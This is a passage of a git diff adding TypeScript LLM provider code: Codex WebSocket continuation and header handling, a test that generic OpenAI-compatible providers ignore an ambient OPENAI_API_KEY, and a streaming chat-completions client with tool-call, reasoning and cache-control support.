requestBodiesMatchExceptInput(a: RequestBody, b: RequestBody): boolean { + return JSON.stringify(requestBodyWithoutInput(a)) === JSON.stringify(requestBodyWithoutInput(b)); +} + +function getCachedWebSocketInputDelta( + body: RequestBody, + continuation: CachedWebSocketContinuationState, +): ResponseInput | undefined { + if (!requestBodiesMatchExceptInput(body, continuation.lastRequestBody)) { + return undefined; + } + + const currentInput = body.input ?? []; + const baseline = [ + ...(continuation.lastRequestBody.input ?? []), + ...continuation.lastResponseItems, + ]; + if (currentInput.length < baseline.length) { + return undefined; + } + + const prefix = currentInput.slice(0, baseline.length); + if (!responseInputsEqual(prefix, baseline)) { + return undefined; + } + + return currentInput.slice(baseline.length); +} + +function buildCachedWebSocketRequestBody( + entry: CachedWebSocketConnection, + body: RequestBody, +): RequestBody { + const continuation = entry.continuation; + if (!continuation) { + return body; + } + + const delta = getCachedWebSocketInputDelta(body, continuation); + if (!delta || !continuation.lastResponseId) { + entry.continuation = undefined; + return body; + } + + return { + ...body, + previous_response_id: continuation.lastResponseId, + input: delta, + }; +} + +async function* startWebSocketOutputOnFirstEvent( + events: AsyncIterable, + output: AssistantMessage, + stream: AssistantMessageEventStream, + onStart: () => void, +): AsyncGenerator { + let started = false; + for await (const event of events) { + if (!started) { + started = true; + onStart(); + stream.push({ type: "start", partial: output }); + } + yield event; + } +} + +async function processWebSocketStream( + url: string, + body: RequestBody, + headers: Headers, + output: AssistantMessage, + stream: AssistantMessageEventStream, + model: Model<"openai-codex-responses">, + onStart: () => void, + options?: OpenAICodexResponsesOptions, +): Promise { + const { socket, entry, reused, release } = await acquireWebSocket( + url, + headers, + options?.sessionId, + options?.signal, + ); + let keepConnection = true; + const useCachedContext = + options?.transport === "websocket-cached" || options?.transport === "auto"; + // ChatGPT Codex Responses rejects `store: true` ("Store must be set to false"). + // WebSocket continuation still works via connection-scoped previous_response_id state. + const fullBody = body; + const requestBody = + useCachedContext && entry ? buildCachedWebSocketRequestBody(entry, fullBody) : fullBody; + const stats = options?.sessionId ? getOrCreateWebSocketDebugStats(options.sessionId) : undefined; + if (stats) { + stats.requests++; + if (reused) { + stats.connectionsReused++; + } else { + stats.connectionsCreated++; + } + if (useCachedContext) { + stats.cachedContextRequests++; + } + if (requestBody.store === true) { + stats.storeTrueRequests++; + } + stats.lastInputItems = requestBody.input?.length ?? 0; + if (requestBody.previous_response_id) { + stats.deltaRequests++; + stats.lastDeltaInputItems = requestBody.input?.length ?? 0; + stats.lastPreviousResponseId = requestBody.previous_response_id; + } else { + stats.fullContextRequests++; + stats.lastDeltaInputItems = undefined; + stats.lastPreviousResponseId = undefined; + } + } + try { + socket.send(JSON.stringify({ type: "response.create", ...requestBody })); + await processResponsesStream( + startWebSocketOutputOnFirstEvent( + mapCodexEvents(parseWebSocket(socket, options?.signal)), + output, + stream, + onStart, + ), + output, + stream, + model, + { + serviceTier: options?.serviceTier, + resolveServiceTier: resolveCodexServiceTier, + applyServiceTierPricing: (usage, serviceTier) => + applyServiceTierPricing(usage, serviceTier, model), + }, + ); + if (options?.signal?.aborted) { + keepConnection = false; + } else if (useCachedContext && entry && output.responseId) { + const responseItems = convertResponsesMessages( + model, + { messages: [output] }, + CODEX_TOOL_CALL_PROVIDERS, + { + includeSystemPrompt: false, + }, + ).filter((item) => item.type !== "function_call_output"); + entry.continuation = { + lastRequestBody: fullBody, + lastResponseId: output.responseId, + lastResponseItems: responseItems, + }; + } + } catch (error) { + if (entry) { + entry.continuation = undefined; + } + keepConnection = false; + throw error; + } finally { + release({ keep: keepConnection }); + } +} + +// ============================================================================ +// Error Handling +// ============================================================================ + +async function parseErrorResponse( + response: Response, +): Promise<{ message: string; friendlyMessage?: string }> { + const raw = await response.text(); + let message = raw || response.statusText || "Request failed"; + let friendlyMessage: string | undefined; + + try { + const parsed = JSON.parse(raw) as { + error?: { + code?: string; + type?: string; + message?: string; + plan_type?: string; + resets_at?: number; + }; + }; + const err = parsed?.error; + if (err) { + const code = err.code || err.type || ""; + if ( + /usage_limit_reached|usage_not_included|rate_limit_exceeded/i.test(code) || + response.status === 429 + ) { + const plan = err.plan_type ? ` (${err.plan_type.toLowerCase()} plan)` : ""; + const mins = err.resets_at + ? Math.max(0, Math.round((err.resets_at * 1000 - Date.now()) / 60000)) + : undefined; + const when = mins !== undefined ? ` Try again in ~${mins} min.` : ""; + friendlyMessage = `You have hit your ChatGPT usage limit${plan}.${when}`.trim(); + } + message = err.message || friendlyMessage || message; + } + } catch {} + + return { message, friendlyMessage }; +} + +// ============================================================================ +// Auth & Headers +// ============================================================================ + +export function extractOpenAICodexAccountId(token: string): string { + const accountId = resolveOpenAICodexAccountId(token); + if (accountId) { + return accountId; + } + throw new Error("Failed to extract accountId from token"); +} + +function createCodexRequestId(): string { + if (typeof globalThis.crypto?.randomUUID === "function") { + return globalThis.crypto.randomUUID(); + } + return `codex_${Date.now()}_${Math.random().toString(36).slice(2, 10)}`; +} + +function buildBaseCodexHeaders( + initHeaders: Record | undefined, + additionalHeaders: Record | undefined, + accountId: string, + token: string, +): Headers { + const headers = new Headers(initHeaders); + for (const [key, value] of Object.entries(additionalHeaders || {})) { + headers.set(key, value); + } + headers.set("Authorization", `Bearer ${token}`); + headers.set("chatgpt-account-id", accountId); + headers.set("originator", "openclaw"); + const userAgent = os + ? `openclaw (${os.platform()} ${os.release()}; ${os.arch()})` + : "openclaw (browser)"; + headers.set("User-Agent", userAgent); + return headers; +} + +function buildSSEHeaders( + initHeaders: Record | undefined, + additionalHeaders: Record | undefined, + accountId: string, + token: string, + sessionId?: string, +): Headers { + const headers = buildBaseCodexHeaders(initHeaders, additionalHeaders, accountId, token); + headers.set("OpenAI-Beta", "responses=experimental"); + headers.set("accept", "text/event-stream"); + headers.set("content-type", "application/json"); + + if (sessionId) { + headers.set("session_id", sessionId); + headers.set("x-client-request-id", sessionId); + } + + return headers; +} + +function buildWebSocketHeaders( + initHeaders: Record | undefined, + additionalHeaders: Record | undefined, + accountId: string, + token: string, + requestId: string, +): Headers { + const headers = buildBaseCodexHeaders(initHeaders, additionalHeaders, accountId, token); + headers.delete("accept"); + headers.delete("content-type"); + headers.delete("OpenAI-Beta"); + headers.delete("openai-beta"); + headers.set("OpenAI-Beta", OPENAI_BETA_RESPONSES_WEBSOCKETS); + headers.set("x-client-request-id", requestId); + headers.set("session_id", requestId); + return headers; +} diff --git a/src/llm/providers/openai-compatible-auth.test.ts b/src/llm/providers/openai-compatible-auth.test.ts new file mode 100644 index 00000000000..85545c9f0ac --- /dev/null +++ b/src/llm/providers/openai-compatible-auth.test.ts @@ -0,0 +1,57 @@ +import { afterEach, describe, expect, it } from "vitest"; +import type { Context, Model } from "../types.js"; +import { streamOpenAICompletions } from "./openai-completions.js"; +import { streamOpenAIResponses } from "./openai-responses.js"; + +const previousOpenAIKey = process.env.OPENAI_API_KEY; + +afterEach(() => { + if (previousOpenAIKey === undefined) { + delete process.env.OPENAI_API_KEY; + } else { + process.env.OPENAI_API_KEY = previousOpenAIKey; + } +}); + +const context = { + messages: [{ role: "user", content: "hi", timestamp: 1 }], +} satisfies Context; + +function createBaseModel( + api: TApi, +): Model { + return { + id: "custom-model", + name: "Custom Model", + api, + provider: "custom-openai-compatible", + baseUrl: "https://third-party.test/v1", + reasoning: false, + input: ["text"], + cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0 }, + contextWindow: 16_000, + maxTokens: 4096, + }; +} + +describe("OpenAI-compatible provider credentials", () => { + it("does not use ambient OPENAI_API_KEY for generic chat-completions providers", async () => { + process.env.OPENAI_API_KEY = "sk-openai-ambient"; + + const stream = streamOpenAICompletions(createBaseModel("openai-completions"), context); + const result = await stream.result(); + + expect(result.stopReason).toBe("error"); + expect(result.errorMessage).toBe("No API key for provider: custom-openai-compatible"); + }); + + it("does not use ambient OPENAI_API_KEY for generic responses providers", async () => { + process.env.OPENAI_API_KEY = "sk-openai-ambient"; + + const stream = streamOpenAIResponses(createBaseModel("openai-responses"), context); + const result = await stream.result(); + + expect(result.stopReason).toBe("error"); + expect(result.errorMessage).toBe("No API key for provider: custom-openai-compatible"); + }); +}); diff --git a/src/llm/providers/openai-completions.ts b/src/llm/providers/openai-completions.ts new file mode 100644 index 00000000000..84eca72a86a --- /dev/null +++ b/src/llm/providers/openai-completions.ts @@ -0,0 +1,1241 @@ +import OpenAI from "openai"; +import type { + ChatCompletionAssistantMessageParam, + ChatCompletionChunk, + ChatCompletionContentPart, + ChatCompletionContentPartImage, + ChatCompletionContentPartText, + ChatCompletionDeveloperMessageParam, + ChatCompletionMessageParam, + ChatCompletionSystemMessageParam, + ChatCompletionToolMessageParam, +} from "openai/resources/chat/completions.js"; +import { getEnvApiKey } from "../env-api-keys.js"; +import { calculateCost, clampThinkingLevel } from "../model-utils.js"; +import type { + AssistantMessage, + CacheRetention, + Context, + ImageContent, + Message, + Model, + OpenAICompletionsCompat, + SimpleStreamOptions, + StopReason, + StreamFunction, + StreamOptions, + TextContent, + ThinkingContent, + Tool, + ToolCall, + ToolResultMessage, +} from "../types.js"; +import { AssistantMessageEventStream } from "../utils/event-stream.js"; +import { headersToRecord } from "../utils/headers.js"; +import { parseStreamingJson } from "../utils/json-parse.js"; +import { sanitizeSurrogates } from "../utils/sanitize-unicode.js"; +import { isCloudflareProvider, resolveCloudflareBaseUrl } from "./cloudflare.js"; +import { buildCopilotDynamicHeaders, hasCopilotVisionInput } from "./github-copilot-headers.js"; +import { clampOpenAIPromptCacheKey } from "./openai-prompt-cache.js"; +import { buildBaseOptions } from "./simple-options.js"; +import { transformMessages } from "./transform-messages.js"; + +/** + * Check if conversation messages contain tool calls or tool results. + * This is needed because Anthropic (via proxy) requires the tools param + * to be present when messages include tool_calls or tool role messages. + */ +function hasToolHistory(messages: Message[]): boolean { + for (const msg of messages) { + if (msg.role === "toolResult") { + return true; + } + if (msg.role === "assistant") { + if (msg.content.some((block) => block.type === "toolCall")) { + return true; + } + } + } + return false; +} + +function isTextContentBlock(block: { type: string }): block is TextContent { + return block.type === "text"; +} + +function isThinkingContentBlock(block: { type: string }): block is ThinkingContent { + return block.type === "thinking"; +} + +function isToolCallBlock(block: { type: string }): block is ToolCall { + return block.type === "toolCall"; +} + +function isImageContentBlock(block: { type: string }): block is ImageContent { + return block.type === "image"; +} + +export interface OpenAICompletionsOptions extends StreamOptions { + toolChoice?: "auto" | "none" | "required" | { type: "function"; function: { name: string } }; + reasoningEffort?: "minimal" | "low" | "medium" | "high" | "xhigh"; +} + +interface OpenAICompatCacheControl { + type: "ephemeral"; + ttl?: string; +} + +type ResolvedOpenAICompletionsCompat = Omit< + Required, + "cacheControlFormat" +> & { + cacheControlFormat?: OpenAICompletionsCompat["cacheControlFormat"]; +}; + +type ChatCompletionInstructionMessageParam = + | ChatCompletionDeveloperMessageParam + | ChatCompletionSystemMessageParam; + +type ChatCompletionTextPartWithCacheControl = ChatCompletionContentPartText & { + cache_control?: OpenAICompatCacheControl; +}; + +type ChatCompletionToolWithCacheControl = OpenAI.Chat.Completions.ChatCompletionTool & { + cache_control?: OpenAICompatCacheControl; +}; + +function resolveCacheRetention(cacheRetention?: CacheRetention): CacheRetention { + if (cacheRetention) { + return cacheRetention; + } + if (typeof process !== "undefined" && process.env.OPENCLAW_CACHE_RETENTION === "long") { + return "long"; + } + return "short"; +} + +export const streamOpenAICompletions: StreamFunction< + "openai-completions", + OpenAICompletionsOptions +> = (model: Model<"openai-completions">, context: Context, options?: OpenAICompletionsOptions) => { + const stream = new AssistantMessageEventStream(); + + void (async () => { + const output: AssistantMessage = { + role: "assistant", + content: [], + api: model.api, + provider: model.provider, + model: model.id, + usage: { + input: 0, + output: 0, + cacheRead: 0, + cacheWrite: 0, + totalTokens: 0, + cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0, total: 0 }, + }, + stopReason: "stop", + timestamp: Date.now(), + }; + + try { + const apiKey = options?.apiKey || getEnvApiKey(model.provider) || ""; + const compat = getCompat(model); + const cacheRetention = resolveCacheRetention(options?.cacheRetention); + const cacheSessionId = cacheRetention === "none" ? undefined : options?.sessionId; + const client = createClient(model, context, apiKey, options?.headers, cacheSessionId, compat); + let params = buildParams(model, context, options, compat, cacheRetention); + const nextParams = await options?.onPayload?.(params, model); + if (nextParams !== undefined) { + params = nextParams as typeof params; + } + const requestOptions = { + ...(options?.signal ? { signal: options.signal } : {}), + ...(options?.timeoutMs !== undefined ? { timeout: options.timeoutMs } : {}), + ...(options?.maxRetries !== undefined ? { maxRetries: options.maxRetries } : {}), + }; + const { data: openaiStream, response } = await client.chat.completions + .create( + params as OpenAI.Chat.Completions.ChatCompletionCreateParamsStreaming, + requestOptions, + ) + .withResponse(); + await options?.onResponse?.( + { status: response.status, headers: headersToRecord(response.headers) }, + model, + ); + stream.push({ type: "start", partial: output }); + + interface StreamingToolCallBlock extends ToolCall { + partialArgs?: string; + streamIndex?: number; + } + type StreamingBlock = TextContent | ThinkingContent | StreamingToolCallBlock; + type StreamingToolCallDelta = NonNullable< + ChatCompletionChunk.Choice.Delta["tool_calls"] + >[number]; + + let textBlock: TextContent | null = null; + let thinkingBlock: ThinkingContent | null = null; + let hasFinishReason = false; + const toolCallBlocksByIndex = new Map(); + const toolCallBlocksById = new Map(); + const blocks = output.content as StreamingBlock[]; + const getContentIndex = (block: StreamingBlock) => blocks.indexOf(block); + const finishBlock = (block: StreamingBlock) => { + const contentIndex = getContentIndex(block); + if (contentIndex === -1) { + return; + } + if (block.type === "text") { + stream.push({ + type: "text_end", + contentIndex, + content: block.text, + partial: output, + }); + } else if (block.type === "thinking") { + stream.push({ + type: "thinking_end", + contentIndex, + content: block.thinking, + partial: output, + }); + } else if (block.type === "toolCall") { + block.arguments = parseStreamingJson(block.partialArgs); + // Finalize in-place and strip the scratch buffers so replay only + // carries parsed arguments. + delete block.partialArgs; + delete block.streamIndex; + stream.push({ + type: "toolcall_end", + contentIndex, + toolCall: block, + partial: output, + }); + } + }; + const ensureTextBlock = () => { + if (!textBlock) { + textBlock = { type: "text", text: "" }; + blocks.push(textBlock); + stream.push({ + type: "text_start", + contentIndex: getContentIndex(textBlock), + partial: output, + }); + } + return textBlock; + }; + const ensureThinkingBlock = (thinkingSignature: string) => { + if (!thinkingBlock) { + thinkingBlock = { + type: "thinking", + thinking: "", + thinkingSignature, + }; + blocks.push(thinkingBlock); + stream.push({ + type: "thinking_start", + contentIndex: getContentIndex(thinkingBlock), + partial: output, + }); + } + return thinkingBlock; + }; + const ensureToolCallBlock = (toolCall: StreamingToolCallDelta) => { + const streamIndex = typeof toolCall.index === "number" ? toolCall.index : undefined; + let block = streamIndex !== undefined ? toolCallBlocksByIndex.get(streamIndex) : undefined; + if (!block && toolCall.id) { + block = toolCallBlocksById.get(toolCall.id); + } + if (!block) { + block = { + type: "toolCall", + id: toolCall.id || "", + name: toolCall.function?.name || "", + arguments: {}, + partialArgs: "", + streamIndex, + }; + if (streamIndex !== undefined) { + toolCallBlocksByIndex.set(streamIndex, block); + } + if (toolCall.id) { + toolCallBlocksById.set(toolCall.id, block); + } + blocks.push(block); + stream.push({ + type: "toolcall_start", + contentIndex: getContentIndex(block), + partial: output, + }); + } + if (streamIndex !== undefined && block.streamIndex === undefined) { + block.streamIndex = streamIndex; + toolCallBlocksByIndex.set(streamIndex, block); + } + if (toolCall.id) { + toolCallBlocksById.set(toolCall.id, block); + } + return block; + }; + + for await (const chunk of openaiStream) { + if (!chunk || typeof chunk !== "object") { + continue; + } + + // OpenAI documents ChatCompletionChunk.id as the unique chat completion identifier, + // and each chunk in a streamed completion carries the same id. + output.responseId ||= chunk.id; + if (typeof chunk.model === "string" && chunk.model.length > 0 && chunk.model !== model.id) { + output.responseModel ||= chunk.model; + } + if (chunk.usage) { + output.usage = parseChunkUsage(chunk.usage, model); + } + + const choice = Array.isArray(chunk.choices) ? chunk.choices[0] : undefined; + if (!choice) { + continue; + } + + // Fallback: some providers (e.g., Moonshot) return usage + // in choice.usage instead of the standard chunk.usage + const choiceUsage = ( + choice as typeof choice & { usage?: Parameters[0] } + ).usage; + if (!chunk.usage && choiceUsage) { + output.usage = parseChunkUsage(choiceUsage, model); + } + + if (choice.finish_reason) { + const finishReasonResult = mapStopReason(choice.finish_reason); + output.stopReason = finishReasonResult.stopReason; + if (finishReasonResult.errorMessage) { + output.errorMessage = finishReasonResult.errorMessage; + } + hasFinishReason = true; + } + + if (choice.delta) { + if ( + choice.delta.content !== null && + choice.delta.content !== undefined && + choice.delta.content.length > 0 + ) { + const block = ensureTextBlock(); + block.text += choice.delta.content; + stream.push({ + type: "text_delta", + contentIndex: getContentIndex(block), + delta: choice.delta.content, + partial: output, + }); + } + + // Some endpoints return reasoning in reasoning_content (llama.cpp), + // or reasoning (other openai compatible endpoints) + // Use the first non-empty reasoning field to avoid duplication + // (e.g., chutes.ai returns both reasoning_content and reasoning with same content) + const reasoningFields = ["reasoning_content", "reasoning", "reasoning_text"]; + const deltaFields = choice.delta as Record; + let foundReasoningField: string | null = null; + for (const field of reasoningFields) { + const value = deltaFields[field]; + if (typeof value === "string" && value.length > 0) { + foundReasoningField = field; + break; + } + } + + if (foundReasoningField) { + const delta = deltaFields[foundReasoningField]; + if (typeof delta === "string" && delta.length > 0) { + const thinkingSignature = + model.provider === "opencode-go" && foundReasoningField === "reasoning" + ? "reasoning_content" + : foundReasoningField; + const block = ensureThinkingBlock(thinkingSignature); + block.thinking += delta; + stream.push({ + type: "thinking_delta", + contentIndex: getContentIndex(block), + delta, + partial: output, + }); + } + } + + if (choice?.delta?.tool_calls) { + for (const toolCall of choice.delta.tool_calls) { + const block = ensureToolCallBlock(toolCall); + if (!block.id && toolCall.id) { + block.id = toolCall.id; + toolCallBlocksById.set(toolCall.id, block); + } + if (!block.name && toolCall.function?.name) { + block.name = toolCall.function.name; + } + + let delta = ""; + if (toolCall.function?.arguments) { + delta = toolCall.function.arguments; + block.partialArgs = (block.partialArgs ?? "") + toolCall.function.arguments; + block.arguments = parseStreamingJson(block.partialArgs); + } + stream.push({ + type: "toolcall_delta", + contentIndex: getContentIndex(block), + delta, + partial: output, + }); + } + } + + const reasoningDetails = (choice.delta as { reasoning_details?: unknown }) + .reasoning_details; + if (reasoningDetails && Array.isArray(reasoningDetails)) { + for (const detail of reasoningDetails) { + if (detail.type === "reasoning.encrypted" && detail.id && detail.data) { + const matchingToolCall = output.content.find( + (b) => b.type === "toolCall" && b.id === detail.id, + ) as ToolCall | undefined; + if (matchingToolCall) { + matchingToolCall.thoughtSignature = JSON.stringify(detail); + } + } + } + } + } + } + + for (const block of blocks) { + finishBlock(block); + } + if (options?.signal?.aborted) { + throw new Error("Request was aborted"); + } + + if (output.stopReason === "aborted") { + throw new Error("Request was aborted"); + } + if (output.stopReason === "error") { + throw new Error(output.errorMessage || "Provider returned an error stop reason"); + } + if (!hasFinishReason) { + throw new Error("Stream ended without finish_reason"); + } + + stream.push({ type: "done", reason: output.stopReason, message: output }); + stream.end(); + } catch (error) { + for (const block of output.content) { + delete (block as { index?: number }).index; + // Streaming scratch buffers are only used during parsing; never persist them. + delete (block as { partialArgs?: string }).partialArgs; + delete (block as { streamIndex?: number }).streamIndex; + } + output.stopReason = options?.signal?.aborted ? "aborted" : "error"; + output.errorMessage = error instanceof Error ? error.message : JSON.stringify(error); + // Some providers via OpenRouter give additional information in this field. + const rawMetadata = (error as { error?: { metadata?: { raw?: string } } })?.error?.metadata + ?.raw; + if (rawMetadata) { + output.errorMessage += `\n${rawMetadata}`; + } + stream.push({ type: "error", reason: output.stopReason, error: output }); + stream.end(); + } + })(); + + return stream; +}; + +export const streamSimpleOpenAICompletions: StreamFunction< + "openai-completions", + SimpleStreamOptions +> = (model: Model<"openai-completions">, context: Context, options?: SimpleStreamOptions) => { + const apiKey = options?.apiKey || getEnvApiKey(model.provider); + if (!apiKey) { + throw new Error(`No API key for provider: ${model.provider}`); + } + + const base = buildBaseOptions(model, options, apiKey); + const clampedReasoning = options?.reasoning + ? clampThinkingLevel(model, options.reasoning) + : undefined; + const reasoningEffort = clampedReasoning === "off" ? undefined : clampedReasoning; + const toolChoice = (options as OpenAICompletionsOptions | undefined)?.toolChoice; + + return streamOpenAICompletions(model, context, { + ...base, + reasoningEffort, + toolChoice, + } satisfies OpenAICompletionsOptions); +}; + +function createClient( + model: Model<"openai-completions">, + context: Context, + apiKey?: string, + optionsHeaders?: Record, + sessionId?: string, + compat: ResolvedOpenAICompletionsCompat = getCompat(model), +) { + if (!apiKey) { + throw new Error(`No API key for provider: ${model.provider}`); + } + + const headers = { ...model.headers }; + if (model.provider === "github-copilot") { + const hasImages = hasCopilotVisionInput(context.messages); + const copilotHeaders = buildCopilotDynamicHeaders({ + messages: context.messages, + hasImages, + }); + Object.assign(headers, copilotHeaders); + } + + if (sessionId && compat.sendSessionAffinityHeaders) { + headers.session_id = sessionId; + headers["x-client-request-id"] = sessionId; + headers["x-session-affinity"] = sessionId; + } + + // Merge options headers last so they can override defaults + if (optionsHeaders) { + Object.assign(headers, optionsHeaders); + } + + const defaultHeaders = + model.provider === "cloudflare-ai-gateway" + ? { + ...headers, + Authorization: headers.Authorization ?? null, + "cf-aig-authorization": `Bearer ${apiKey}`, + } + : headers; + + return new OpenAI({ + apiKey, + baseURL: isCloudflareProvider(model.provider) ? resolveCloudflareBaseUrl(model) : model.baseUrl, + dangerouslyAllowBrowser: true, + defaultHeaders, + }); +} + +function buildParams( + model: Model<"openai-completions">, + context: Context, + options?: OpenAICompletionsOptions, + compat: ResolvedOpenAICompletionsCompat = getCompat(model), + cacheRetention: CacheRetention = resolveCacheRetention(options?.cacheRetention), +) { + const messages = convertMessages(model, context, compat); + const cacheControl = getCompatCacheControl(compat, cacheRetention); + + type ChatCompletionRequestParams = Omit< + OpenAI.Chat.Completions.ChatCompletionCreateParamsStreaming, + "reasoning_effort" + > & { + reasoning_effort?: string; + stream_options?: { include_usage: boolean }; + max_tokens?: number; + tool_stream?: boolean; + enable_thinking?: boolean; + chat_template_kwargs?: { enable_thinking: boolean; preserve_thinking: boolean }; + thinking?: { type: string }; + provider?: unknown; + providerOptions?: unknown; + }; + + const params: ChatCompletionRequestParams = { + model: model.id, + messages, + stream: true, + prompt_cache_key: + (model.baseUrl.includes("api.openai.com") && cacheRetention !== "none") || + (cacheRetention === "long" && compat.supportsLongCacheRetention) + ? clampOpenAIPromptCacheKey(options?.sessionId) + : undefined, + prompt_cache_retention: + cacheRetention === "long" && compat.supportsLongCacheRetention ? "24h" : undefined, + }; + + if (compat.supportsUsageInStreaming) { + params.stream_options = { include_usage: true }; + } + + if (compat.supportsStore) { + params.store = false; + } + + if (options?.maxTokens) { + if (compat.maxTokensField === "max_tokens") { + params.max_tokens = options.maxTokens; + } else { + params.max_completion_tokens = options.maxTokens; + } + } + + if (options?.temperature !== undefined) { + params.temperature = options.temperature; + } + + if (context.tools && context.tools.length > 0) { + params.tools = convertTools(context.tools, compat); + if (compat.zaiToolStream) { + params.tool_stream = true; + } + } else if (hasToolHistory(context.messages)) { + // Anthropic (via LiteLLM/proxy) requires tools param when conversation has tool_calls/tool_results + params.tools = []; + } + + if (cacheControl) { + applyAnthropicCacheControl(messages, params.tools, cacheControl); + } + + if (options?.toolChoice) { + params.tool_choice = options.toolChoice; + } + + if (compat.thinkingFormat === "zai" && model.reasoning) { + params.enable_thinking = !!options?.reasoningEffort; + } else if (compat.thinkingFormat === "qwen" && model.reasoning) { + params.enable_thinking = !!options?.reasoningEffort; + } else if (compat.thinkingFormat === "qwen-chat-template" && model.reasoning) { + params.chat_template_kwargs = { + enable_thinking: !!options?.reasoningEffort, + preserve_thinking: true, + }; + } else if (compat.thinkingFormat === "deepseek" && model.reasoning) { + params.thinking = { type: options?.reasoningEffort ? "enabled" : "disabled" }; + if (options?.reasoningEffort) { + params.reasoning_effort = + model.thinkingLevelMap?.[options.reasoningEffort] ?? options.reasoningEffort; + } + } else if (compat.thinkingFormat === "openrouter" && model.reasoning) { + // OpenRouter normalizes reasoning across providers via a nested reasoning object. + const openRouterParams = params as typeof params & { reasoning?: { effort?: string } }; + if (options?.reasoningEffort) { + openRouterParams.reasoning = { + effort: model.thinkingLevelMap?.[options.reasoningEffort] ?? options.reasoningEffort, + }; + } else if (model.thinkingLevelMap?.off !== null) { + openRouterParams.reasoning = { effort: model.thinkingLevelMap?.off ?? "none" }; + } + } else if (compat.thinkingFormat === "together" && model.reasoning) { + const togetherParams = params as Omit & { + reasoning?: { enabled: boolean }; + reasoning_effort?: string; + }; + togetherParams.reasoning = { enabled: !!options?.reasoningEffort }; + if (options?.reasoningEffort && compat.supportsReasoningEffort) { + togetherParams.reasoning_effort = + model.thinkingLevelMap?.[options.reasoningEffort] ?? options.reasoningEffort; + } + } else if (options?.reasoningEffort && model.reasoning && compat.supportsReasoningEffort) { + // OpenAI-style reasoning_effort + params.reasoning_effort = + model.thinkingLevelMap?.[options.reasoningEffort] ?? options.reasoningEffort; + } else if (!options?.reasoningEffort && model.reasoning && compat.supportsReasoningEffort) { + const offValue = model.thinkingLevelMap?.off; + if (typeof offValue === "string") { + params.reasoning_effort = offValue; + } + } + + // OpenRouter provider routing preferences + if (model.baseUrl.includes("openrouter.ai") && model.compat?.openRouterRouting) { + params.provider = model.compat.openRouterRouting; + } + + // Vercel AI Gateway provider routing preferences + if (model.baseUrl.includes("ai-gateway.vercel.sh") && model.compat?.vercelGatewayRouting) { + const routing = model.compat.vercelGatewayRouting; + if (routing.only || routing.order) { + const gatewayOptions: Record = {}; + if (routing.only) { + gatewayOptions.only = routing.only; + } + if (routing.order) { + gatewayOptions.order = routing.order; + } + params.providerOptions = { gateway: gatewayOptions }; + } + } + + return params; +} + +function getCompatCacheControl( + compat: ResolvedOpenAICompletionsCompat, + cacheRetention: CacheRetention, +): OpenAICompatCacheControl | undefined { + if (compat.cacheControlFormat !== "anthropic" || cacheRetention === "none") { + return undefined; + } + + const ttl = cacheRetention === "long" && compat.supportsLongCacheRetention ? "1h" : undefined; + return { type: "ephemeral", ...(ttl ? { ttl } : {}) }; +} + +function applyAnthropicCacheControl( + messages: ChatCompletionMessageParam[], + tools: OpenAI.Chat.Completions.ChatCompletionTool[] | undefined, + cacheControl: OpenAICompatCacheControl, +): void { + addCacheControlToSystemPrompt(messages, cacheControl); + addCacheControlToLastTool(tools, cacheControl); + addCacheControlToLastConversationMessage(messages, cacheControl); +} + +function addCacheControlToSystemPrompt( + messages: ChatCompletionMessageParam[], + cacheControl: OpenAICompatCacheControl, +): void { + for (const message of messages) { + if (message.role === "system" || message.role === "developer") { + addCacheControlToInstructionMessage(message, cacheControl); + return; + } + } +} + +function addCacheControlToLastConversationMessage( + messages: ChatCompletionMessageParam[], + cacheControl: OpenAICompatCacheControl, +): void { + for (let i = messages.length - 1; i >= 0; i--) { + const message = messages[i]; + if (message.role === "user" || message.role === "assistant") { + if (addCacheControlToMessage(message, cacheControl)) { + return; + } + } + } +} + +function addCacheControlToLastTool( + tools: OpenAI.Chat.Completions.ChatCompletionTool[] | undefined, + cacheControl: OpenAICompatCacheControl, +): void { + if (!tools || tools.length === 0) { + return; + } + + const lastTool = tools[tools.length - 1] as ChatCompletionToolWithCacheControl; + lastTool.cache_control = cacheControl; +} + +function addCacheControlToInstructionMessage( + message: ChatCompletionInstructionMessageParam, + cacheControl: OpenAICompatCacheControl, +): boolean { + return addCacheControlToTextContent(message, cacheControl); +} + +function addCacheControlToMessage( + message: ChatCompletionMessageParam, + cacheControl: OpenAICompatCacheControl, +): boolean { + if (message.role === "user" || message.role === "assistant") { + return addCacheControlToTextContent(message, cacheControl); + } + return false; +} + +function addCacheControlToTextContent( + message: + | ChatCompletionInstructionMessageParam + | ChatCompletionAssistantMessageParam + | Extract, + cacheControl: OpenAICompatCacheControl, +): boolean { + const content = message.content; + if (typeof content === "string") { + if (content.length === 0) { + return false; + } + message.content = [ + { + type: "text", + text: content, + cache_control: cacheControl, + }, + ] as ChatCompletionTextPartWithCacheControl[]; + return true; + } + + if (!Array.isArray(content)) { + return false; + } + + for (let i = content.length - 1; i >= 0; i--) { + const part = content[i]; + if (part?.type === "text") { + const textPart = part as ChatCompletionTextPartWithCacheControl; + textPart.cache_control = cacheControl; + return true; + } + } + + return false; +} + +export function convertMessages( + model: Model<"openai-completions">, + context: Context, + compat: ResolvedOpenAICompletionsCompat, +): ChatCompletionMessageParam[] { + const params: ChatCompletionMessageParam[] = []; + + const normalizeToolCallId = (id: string): string => { + // Handle pipe-separated IDs from OpenAI Responses API + // Format: {call_id}|{id} where {id} can be 400+ chars with special chars (+, /, =) + // These come from providers like github-copilot, openai-codex, opencode + // Extract just the call_id part and normalize it + if (id.includes("|")) { + const [callId] = id.split("|"); + // Sanitize to allowed chars and truncate to 40 chars (OpenAI limit) + return callId.replace(/[^a-zA-Z0-9_-]/g, "_").slice(0, 40); + } + + if (model.provider === "openai") { + return id.length > 40 ? id.slice(0, 40) : id; + } + return id; + }; + + const transformedMessages = transformMessages(context.messages, model, (id) => + normalizeToolCallId(id), + ); + + if (context.systemPrompt) { + const useDeveloperRole = model.reasoning && compat.supportsDeveloperRole; + const role = useDeveloperRole ? "developer" : "system"; + params.push({ role: role, content: sanitizeSurrogates(context.systemPrompt) }); + } + + let lastRole: string | null = null; + + for (let i = 0; i < transformedMessages.length; i++) { + const msg = transformedMessages[i]; + // Some providers don't allow user messages directly after tool results + // Insert a synthetic assistant message to bridge the gap + if ( + compat.requiresAssistantAfterToolResult && + lastRole === "toolResult" && + msg.role === "user" + ) { + params.push({ + role: "assistant", + content: "I have processed the tool results.", + }); + } + + if (msg.role === "user") { + if (typeof msg.content === "string") { + params.push({ + role: "user", + content: sanitizeSurrogates(msg.content), + }); + } else { + const content: 